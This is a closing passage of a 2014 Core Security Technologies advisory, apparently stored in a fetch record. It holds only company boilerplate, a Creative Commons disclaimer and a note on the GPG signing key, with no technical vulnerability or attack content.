organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations.\n\n\n\nCore Security's software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company's Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com.\n\n\n\n12. *Disclaimer*\n\n\nThe contents of this advisory are copyright\n(c) 2014 Core Security Technologies and (c) 2014 CoreLabs,\nand are licensed under a Creative Commons\nAttribution Non-Commercial Share-Alike 3.0 (United States) License:\nhttp://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n13. *PGP/GPG Keys*\n\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories\nteam, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.","sha256":"d8507d44d9e1baf286850d4541c84c1054c909377389c696740abb9c22c4187f","bytes":25636,"fetchedAt":"2026-11-27T16:07:30.840Z","encoding":"utf-8 (display only; download retains original bytes)"}